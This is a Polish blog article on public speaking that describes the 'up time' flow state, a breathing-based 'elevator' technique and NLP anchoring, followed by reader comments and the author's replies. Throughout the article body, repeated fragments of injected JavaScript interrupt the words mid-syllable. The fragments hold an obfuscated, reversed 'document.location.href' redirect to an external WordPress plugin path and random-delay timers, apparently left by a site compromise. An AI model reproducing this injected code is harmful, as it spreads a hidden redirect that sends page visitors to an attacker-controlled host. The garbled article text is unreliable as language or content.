Roger Federer wygrywając finał kolejnego turnieju tenisowego, Bono śpiewający z kolegami z U2 “Where the streets have no name” i Anthony Robbins motywujący wielotysięczny tłum swoim porywającym wystąpieniem. Co łączy ich w momencie gdy czarują publiczność swoją grą, głosem i siłą?
Wszyscy są w stanie up time!
To wymarzony stan dla sportoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towców, artystów, biznesmenów oraz trenerów, mówców, coachów.
Ty też czasami toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doświadczasz tego wspaniałego uczucia, gdy nie zastanawiasz się jak masz coś zrobić a robisz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fantastycznie i… nieświatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domie. Gdy grasz w ulubioną grę komputerową, nie zastanawiasz się jak wcisnąć przycisk na padzie czy klawiaturze. Gdy uderzasz piłkę toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do siatkówki na plaży nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toczysz wewnętrznych dialogów jak ułożyć dłoń i jak ustawić nogi. Gdy prowadzisz autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nie myślisz za każdym razem: teraz puszczę gaz, wcisnę sprzęgło i przesunę tę wajchę między fotelami aby zmienić bieg. Wszystko dzieje się poza Tobą. To jest właśnie stan up time.
Pomyśl jak by toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to było gdyś umiał wprowadzać się w ten stan przed ważnymi/stresującymi momentami w swoim życiu, chociażby właśnie przed prezentacją…
Już za chwilę toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowiesz się jak osiągnąć ten stan nieświatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domej kompetencji aby pozbyć się stresu przed wystąpieniem i wygłosić bez trudu, bo nieświatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domie (!) bardzo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrą prezentację.
Up time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to stan Twojej podwyższonej koncentracji ale na zewnątrz! To bardzo ważne abyś nie koncentrował się na tym co jest wewnątrz Ciebie (przed prezentacją masz wiele wątpliwości – Twój wewnętrzny krytyk mówi: nie uda się, uciekaj!) Pamiętaj: żadnych negatywnych wizualizacji!
W stanie up time nie prowadzisz dialogów wewnętrznych, nie zastanawiasz się jak masz coś zrobić. Po prostu wychodzisz na scenę i robisz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to! Korzystasz ze swoich wewnętrznych zasobów, swoich umiejętności, z których czasami nie zdajesz sobie sprawy.
Bardzo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze opisuje toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Richard Btoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andler:
“Ucz się od samego siebie jak wiele już potrafisz”
Może nawet nie wiesz jakim jesteś świetnym mówcą? Nie zdajesz sobie sprawy ze swoich umiejętności w tej dziedzinie? Może okaże się, że w stanie up time nie będziesz mieć kłopotów ze znalezieniem słów, przestaniesz się jąkać ze strachu, znajdziesz odpowiedź na wszystkie pytania. Wiesz dlaczego? Bo wyłączysz swój światoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domy, analityczny umysł, który w takich sytuacjach tylko będzie Ci przeszkadzać!
Jak wejść w stan up time?
Po pierwsze – poprzez toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doświadczenie, czyli wielokrotne wykonywanie i powtarzanie tej samej czynności. Robisz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tak częstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, że nie musisz myśleć jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to zrobić. W przypadku wystąpień publicznych ja swój stan up time osiągam po kilku wygłoszeniach tej samej prezentacji. Oczywiście trenuję także w toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domu a nie tylko przed publicznością 🙂 Muszę jeszcze toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodać, że w swoim życiu wygłosiłem już ponad 700 prezentacji zatem jest mi łatwiej wchodzić w ten stan.
Po drugie – są ćwiczenia, dzięki którym nauczysz się odczuwać ten stan. Ćwiczenia te mają za zadanie skoncentrowanie Twojej uwagi na jakiejś czynności abyś, krótko mówiąc, nie myślał za dużo.
Możesz skorzystać z kilku propozycji takich zabaw opublikowanych na stronie Fitness Mózgu. takich jak color game, alfabet game, NASA game. Świetnym ćwiczeniem na osiągnięcie stanu up time jest… żonglowanie.
Ja natoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomiast chcę Ci dziś zaprezentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tować technikę windy.
Technika windy
Winda oznacza przejście ze stanu relaksu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do stanu up time. Zatem najpierw musimy ze stanu “normalnego” przejść w relaks. Może być toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nieco trudne tuż przed prezentacją ale spróbujmy 🙂
1. Zamknij oczy
2. Weź 5 głębokich wdechów – skup się tylko i wyłącznie na swoim oddechu, nic toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do siebie nie mów.
3. Otwórz oczy i bardzo intensywnie skoncentruj się na tym co widzisz, słyszysz i czujesz. Cały czas “na zewnątrz”! Interesują Cie tylko zewnętrzne bodźce.
Teraz powinieneś być w stanie up time. Jeśli za pierwszym razem nie wyjdzie, spróbuj ponownie. Trenuj i ćwicz.
Wykonaj tę technikę na minutę przed prezentacją czy inną stresującą sytuacją.
Możesz również wprowadzać się w stan up time grami, o których wspomniałem wyżej a będąc w takim stanie zrobić tzw. “kotwicę”. Kotwiczenie polega na powiązaniu konkretnych bodźców z emocjami/zasobami i zachowaniami, jakie chcemy wywołać na żądanie. Potem “odpalasz” kotwicę tuż przed wystąpieniem i autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatycznie jesteś w stanie up time. Wszystko toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to kwestia wprawy i… wiary!
Jeśli interesuje Cię ten temat wpisz w google hasło “nlp kotwiczenie” i poczytaj 🙂
– – – – – – – – – – – – – – – – – – – – – – – –
Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torem ilustracji toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego artykułu jest Sławek Kilian.
– – – – – – – – – – – – – – – – – – – – – – – –
Jeśli wpis Ci się spotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobał i uznasz go za przydatny, kliknij proszę “Lubię toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to” (na górze wpisu)
Jak zwykle komentarze, pytania bardzo mile widziane!
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Stan up time jest po prostu fascynujący, może pomóc nam w różnych sytuacjach.Przypominam sobie taką sytuację – wstałam rano i czułam się jak wyciśnięta cytryna tak słaba, jakby wszystkie siły ze mnie odeszły. Zrobiłam trochę wizualizacji, aby poprawić swoją fizyczność, herbatę i zaczęłam rozmowę z koleżanką. Rozmowa nie kleiła się, jednak kiedy zeszła na temat zajęć, które prowadzimy i weszłam w swoją rolę szkoleniowca pokazując jej różne ćwiczenia, nie wiedząc kiedy mój wigor i energia wróciły na miejsce. Weszłam w swój dobry stan szkoleniowca w sposób automatyczny. Moje ciało i dusza momentalnie przypomniały sobie, jak mają się czuć. Bo to jest to, co lubię robić i co wyćwiczyłam w sobie od dawna.
Ta sytuacja pozwoliła mi również na świadome wchodzenia w stan up time, kiedy tego potrzebuję.
Pozdrawiam serdecznie
Ewa Jańczak – Obst
http://www.akademiaru.com
Ewo,
stan up time przydaje nam się, tak jak napisałaś, w codziennych sytuacjach. To nie musi być jakaś super okazja, związana z jakimś szczególnym wyzwaniem zawodowym.
A swoją drogą to fascynujące jak nasz “nieświadomy” umysł potrafi nam pomagać. Ile możemy nauczyć się od siebie samych…
pozdrawiam ze słonecznych Chojnic
ps. Dziś jest tak pięknie na Pomorzu, że nie trzeba stanu up time aby poczuć się rewelacyjnie 🙂
Dostałam maila “Jolanto, musisz poznać tę technikę”.
Otóż – nic nie muszę.
Chcę, nie chcę, jak nie poznam, to (może) coś stracę, jak poznam, tomi będzie łatwiej. Ale MUSZĘ?
Z pewnością nie muszę.
Jolu,
czy po przeczytaniu fascynującej książki albo obejrzeniu ciekawego filmu nie powiedziałaś do znajomej: “musisz zobaczyć ten film, albo musisz przeczytać tę książkę”? No właśnie… Zrobiłaś to w dobrej wierze, bo chciałaś aby Twoi znajomi też coś zyskali, czegoś się dowiedzieli. I ja robię tak samo. Wszystkich czytelników mojego bloga traktuję jak znajomych. Jeśli nauczę się czegoś ciekawego albo uznam, że powinniście coś wiedzieć na temat wystąpień publicznych, piszę do Was.
Nie chcę abyś poczuła się do czegoś zmuszana. Chcesz to przeczytasz nie, to nie. Z resztą tak napisałaś 🙂
Mam nadzieję, że dobrnęłaś do końca tekstu, skoro zostawiłaś swój komentarz.
pozdrawiam serdecznie!
Nie. Raczej “uważam, że ten film Ci sie spodoba, bo…” albo “Fajny film wczoraj widziałam. Podobał mi się, bo… Warto go obejrzeć, bo…”
Słowa “muszę”, “powinnam” zwłaszcza kierowane do innych wykreśliłam już dawno. Ale to prawda, kiedyś też tak mówiłam. Dopiero różne szkolenia, a zwłaszcza ogrom lektur pokazały mi, że takie przewartościowanie pozwala bardziej cieszyć się tym, co robię i właściwiej wybierać, bez przymusu, bardziej świadomie. I że inni mogą, a nie muszą.
Jolu,
W porządku. Bardzo dziękuje za komentarz, to chyba pierwszy na moim blogu? Mam nadzieję, że od czasu do czasu zajrzysz na tajniki prezentacji…
Ale oczywiście do niczego nie zmuszam 🙂
pozdrawiam raz jeszcze
🙂
Komentarz pierwszy, choć zazwyczaj czytam (do końca) to, co polecasz w swoich mailach. I czasem stosuję. Szkolenia prowadzę już od dawna, występowałam przed dużą publiką jeszcze wcześniej (na przykład na szkolnych akademiach), zanim pojawił się internet i jakiekolwiek poradniki na ten temat, więc z czasem wypracowałam sobie jakieś własne sposoby na opanowanie tremy i przyciągnięcie uwagi. Ale Twoje techniki czasem pozwalają mi zrobić coś inaczej, a to cenne.
Nie obrażaj się, za mój pierwszy wpis, ale mnóstwo osób reaguje właśnie tak, nawet podświadomie, jak “muszę”, to właśnie nic nie zrobię. To podobny mechanizm, jak w filmie “Powrót do przyszłości”, kiedy główny bohater robi czasem głupie rzeczy, podpuszczony przez kumpli słowami “A co? tchórzysz?”.
Jola,
absolutnie nie jestem obrażony/urażony/zły/smutny/zawiedziony itd 🙂 Każdy ma prawo do własnego zdania a ja tylko cieszę się, że chcesz wyrazić to na moim blogu. Na Tajnikach Prezentacji chcę tworzyć przyjazną atmosferę /nie mylić z towarzystwem wzajemnej adoracji 🙂 / tak aby moi czytelnicy mogli być wobec mnie i siebie szczerzy i nie cenzurowali swoich komentarzy gdy np. nie zgadzają się ze mną.
Osoby, które publikują swoje komentarze u mnie, wiedzą, że nie kasuję żadnych wpisów. no chyba, że kiedyś pojawi się jakiś obraźliwy. na szczęście jak dotąd, takie się nie pojawiły.
Jak zwykle ciekawe techniki prezentacji opisujesz. Jestem
zadowolony z efektów uzyskiwanych na moich prezentacjach,
kiedy wykorzystuję Twoje rozwiązania.
Dziękuję Robercie
Paweł Olejnik
cześć Pawle,
dawno się nie odzywałeś. Miło, że znalazłeś czas na napisanie kilku słów.
pozdrowienia dla całej rodzinki 🙂
Dzięki Robert za kolejny ciekawy materiał.Jeśli mogę coś dodać do Twojej dyskusji z Jolą to myślę że zapisując się na Twoją listę adresową zamieniamy słowo “muszę’ na “chcę” i każdy kto się zapisał chce czytać to co masz do przekazania.Jeśli zmienił zdanie to przecież może zrezygnować z subskrypcji wypisać się.Tak więc myślę że nikt z Twoich czytelników nic nie musi a tylko chce poszerzać swoją wiedzę w oparciu o wartościowe wpisy.Ja zawsze czekam z niecierpliwością na kolejną wiadomość.
Marku,
następna wiadomość a konkretnie film już w przyszłym tygodniu a może na weekend…?
pozdrawiam
Witam Robercie.
Moim zdaniem artykuł świetny. Jeden z najlepszych jakie czytałem na ten temat. Stan up time, to coś naprawdę wspaniałego. Pragnę dodać, że można go również wyćwiczyć uczęszczając na spotkania Klubów Ludzi Sukcesu, czy Toast masters.
Podpisuje sie również pod wypowiedzią Marka.
Pozdrawiam
Sławek
Sławku,
dobrze że zwróciłeś na to uwagę – up time można wyćwiczyć poprzez treningi – systematyczne powtarzanie jakiejś czynności – w naszym przypadku prezentacji. Do tego idealnie nadają się spotkania Toastmasters. Sam należę do klubu w Bydgoszczy ale ze skruchą przyznaję, że ponad 3 miesiące nie byłem na klubowym spotkaniu. Na swoje usprawiedliwienie mam tylko odległość – około 100 km z Chojnic, gdzie mieszkam, do Bydgoszczy…
pozdrawiam serdecznie
Muszę poznać? Muszę, wszystko się przydaje z Pana strony 🙂 Nawet jak o czymś czlowiek wie, to lepiej sobie to przypomnieć 🙂 Szkoda, że dopiero teraz napisał Pan o tej metodzie 😉 Dzisiaj nie zdałem na prawko praktycznego, hehe 😉 Za dużo myślałem 🙂
A na poważnie – co do wystąpien publicznych – nie myślałem o tym, zwykle wychodzę i robię swoje 🙂 To coś wyjdzie, to trzepnę żartem rodem z familiady, to coś błyskotliwego powiem, to ludzie się uśmiechną – zawsze coś tam się klei pozytywnego 😉 Ale z metody z chęcią skorzystam 🙂 Najwyżej będę gadał brednie, co tam, hehe 🙂
Mateusz,
widziałem kilka Twoich filmów na YT. Jak już Ci pisałem, masz dar to takiego bezstresowego wychodzenia z zająknięć, zagubienia wątku i innego zapętlenia 🙂 To bardzo przydatne.
A stan up time polecam także przy egzaminie na prawo jazdy!
Zdarzyło mi się parę razy w życiu tak popłynąć…
To wspaniały stan!
Ale się cofnąłem w rozwoju, niestety.
I jakoś nie bardzo chce mi się wierzyć w “pstrykanie
na zawołanie”.
Leszku,
jeśli nie wierzysz w “pstrykniecie palcem” to spróbuj innej metody wejścia w ten stan np. poprzez systematyczne ćwiczenia. Nie wiem w jakiej sytuacji chcesz to wykorzystać ale jeśli chodzi o wystąpienia publiczne to proponuję trening (ale nie przed publicznością!) tylko np. na spotkaniach klubów toastmasters. Oczywiście tam też są widzowie ale uczą się prezentowania, a co najważniejsze pomagają sobie nawzajem. Polecam!
Dzięki za podpowiedź. Mieszkam w Warszawie, czy wiesz może gdzie taki klub się znajduje?
Z chęcią skorzystam z możliwości treningu w przyjaznym środowisku.
Największe problemy mam właśnie z prezentacjami przed większym gremium. Mimo, że onegdaj zdarzyło mi się rozbawić ze 2 tysiące
ludzi w Sali Kongresowej.
pozdrawiam
Leszek,
znalazłem w sieci informację, że w Warszawie spotkania odbywają się w każdą środę o 19.00 w Pałacu Kultury na dwunastym piętrze, w pomieszczeniach Collegium Civitas. Najlepiej dostać się tam głównym wejściem od ulicy Marszałkowskiej (!).
Możesz sprawdzić to telefonicznie 504428336. mam nadzieje że te dane sa aktualne. jakby nie były wpisz w google “toastmasters warszawa” a na pewno znajdziesz ten klub
pozdrawiam i trzymam kciuki z Twoje sukcesy!
